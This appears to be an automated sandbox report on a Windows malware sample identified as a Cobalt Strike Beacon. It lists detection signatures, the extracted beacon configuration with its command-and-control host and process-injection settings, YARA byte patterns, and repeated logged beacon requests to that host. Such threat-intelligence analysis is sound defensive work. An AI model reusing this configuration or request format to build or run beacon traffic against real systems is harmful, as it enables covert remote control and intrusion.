Edit tour

Windows Analysis Report
SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe
Analysis ID:	1428763
MD5:	c720c50306558112b389ef44cff494f1
SHA1:	476f36c3f3a3aa0141b481fb683d3c0cbd767def
SHA256:	6b655ddf0b5cda5d24b62d2f387e0f83e57b7a931f55f49ad274b002c1a68b23
Tags:	exe
Infos:

Detection

CobaltStrike

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected CobaltStrike

C2 URLs / IPs found in malware configuration

Found direct / indirect Syscall (likely to bypass EDR)

Sets debug register (to hijack the execution of another thread)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to query locales information (e.g. system language)

Contains functionality to retrieve information about pressed keystrokes

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

Potential key logger detected (key state polling based)

Sample file is different than original file name gathered from version info

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe (PID: 6516 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe" MD5: C720C50306558112B389EF44CFF494F1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Cobalt Strike, CobaltStrike	Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.	APT 29 APT32 APT41 AQUATIC PANDA Anunak Cobalt Codoso CopyKittens DarkHydrus FIN6 FIN7 Leviathan Mustang Panda Shell Crew Stone Panda TianWu UNC1878 UNC2452 Winnti Umbrella	http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems http://blog.nsfocus.net/murenshark http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa http://www.secureworks.com/research/threat-profiles/gold-drake	https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike

Malware Configuration

Threatname: CobaltStrike

{"BeaconType": ["HTTPS"], "Port": 443, "SleepTime": 62, "MaxGetSize": 2796804, "Jitter": 81, "C2Server": "easthoolbook.com,/sign.mpeg", "HttpPostUri": "/flexible", "Malleable_C2_Instructions": ["Remove 600 bytes from the beginning", "Base64 decode", "NetBIOS decode 'A'"], "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\gpresult.exe", "Spawnto_x64": "%windir%\\sysnative\\gpresult.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 12345, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "False", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 22918, "ProcInject_PrependAppend_x86": ["kJCQ", "Empty"], "ProcInject_PrependAppend_x64": ["kJCQ", "Empty"], "ProcInject_Execute": ["ntdll:RtlUserThreadStart", "SetThreadContext", "NtQueueApcThread-s", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": ""}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.3315857206.00000000020D5000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000000.00000002.3315857206.00000000020D5000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.3315857206.00000000020D5000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x760:$a39: %s as %s\%s: %d 0xfa12:$a41: beacon.x64.dll 0x1970:$a46: %s (admin) 0x8c0:$a48: %s%s: %s 0x78c:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x7b8:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x19b9:$a51: Content-Length: %d
00000000.00000002.3315857206.00000000020D5000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_b54b94ac	Rule for beacon sleep obfuscation routine	unknown	0x1017b:$a_x64: 4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03
00000000.00000003.2073190217.0000000002068000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000000.00000003.2073190217.0000000002068000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.2073190217.0000000002068000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x14d60:$a39: %s as %s\%s: %d 0x24012:$a41: beacon.x64.dll 0x15f70:$a46: %s (admin) 0x14ec0:$a48: %s%s: %s 0x14d8c:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x14db8:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x15fb9:$a51: Content-Length: %d
00000000.00000003.2073190217.0000000002068000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x15f8:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
00000000.00000003.2073190217.0000000002068000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_b54b94ac	Rule for beacon sleep obfuscation routine	unknown	0x2437b:$a_x64: 4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03
00000000.00000002.3315812932.00000000020A0000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x211f8:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
Process Memory Space: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe PID: 6516	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
Process Memory Space: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe PID: 6516	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
Process Memory Space: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe PID: 6516	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x69aca:$a39: %s as %s\%s: %d 0x859ac:$a39: %s as %s\%s: %d 0x6d5f4:$a41: beacon.x64.dll 0x894d6:$a41: beacon.x64.dll 0x69c51:$a46: %s (admin) 0x85b33:$a46: %s (admin) 0x69bdd:$a48: %s%s: %s 0x85abf:$a48: %s%s: %s 0x69ae4:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x69b0d:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x69d21:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x859c6:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x859ef:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x85c03:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x69c95:$a51: Content-Length: %d 0x85b77:$a51: Content-Length: %d
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.3.SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe.2050000.0.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.3.SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe.2050000.0.unpack	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
0.3.SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe.2050000.0.unpack	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x189f8:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
0.3.SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe.2050000.0.unpack	Windows_Trojan_CobaltStrike_b54b94ac	Rule for beacon sleep obfuscation routine	unknown	0x3a97b:$a_x64: 4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000003.2073190217.000000000208E000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: CobaltStrike {"BeaconType": ["HTTPS"], "Port": 443, "SleepTime": 62, "MaxGetSize": 2796804, "Jitter": 81, "C2Server": "easthoolbook.com,/sign.mpeg", "HttpPostUri": "/flexible", "Malleable_C2_Instructions": ["Remove 600 bytes from the beginning", "Base64 decode", "NetBIOS decode 'A'"], "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\gpresult.exe", "Spawnto_x64": "%windir%\\sysnative\\gpresult.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 12345, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "False", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 22918, "ProcInject_PrependAppend_x86": ["kJCQ", "Empty"], "ProcInject_PrependAppend_x64": ["kJCQ", "Empty"], "ProcInject_Execute": ["ntdll:RtlUserThreadStart", "SetThreadContext", "NtQueueApcThread-s", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": ""}

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

ReversingLabs: Detection: 25%

Source: unknown	HTTPS traffic detected: 89.150.57.46:443 -> 192.168.2.6:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 89.150.57.46:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 89.150.57.46:443 -> 192.168.2.6:49748 version: TLS 1.2

Source:

Binary string: C:\Jenkins\workspace\consumer-12-0-1-service\bin\Release\x64\SBAMCommandLineScanner.pdb source: SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Code function: 0_2_000000014003C388 GetFullPathNameW,PathIsUNCW,GetVolumeInformationW,CharUpperW,FindFirstFileW,FindClose,

0_2_000000014003C388

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: easthoolbook.com

Source: Joe Sandbox View

ASN Name: AVANTI-UK-ASGB AVANTI-UK-ASGB

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sign.mpeg?dare=true HTTP/1.1Host: easthoolbook.comAccept: application/xmlCookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ==User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36Connection: CloseCache-Control: no-cache
